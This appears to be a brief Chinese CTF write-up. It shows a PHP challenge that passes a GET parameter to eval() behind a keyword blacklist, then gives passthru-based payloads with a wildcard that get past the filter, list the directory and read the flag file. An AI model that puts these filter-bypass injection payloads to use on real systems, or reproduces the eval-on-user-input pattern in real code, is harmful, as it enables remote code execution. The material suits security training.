查看源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
发现这次过滤了system函数和php,我们可以用passthru或者exec来替代system,php也可以用通配符绕过
?c=passthru(“ls”); 可以看到当前目录下的flag.php
?c=passthru(“cat f*”); 直接查看flag文件 查看页面源代码获得flag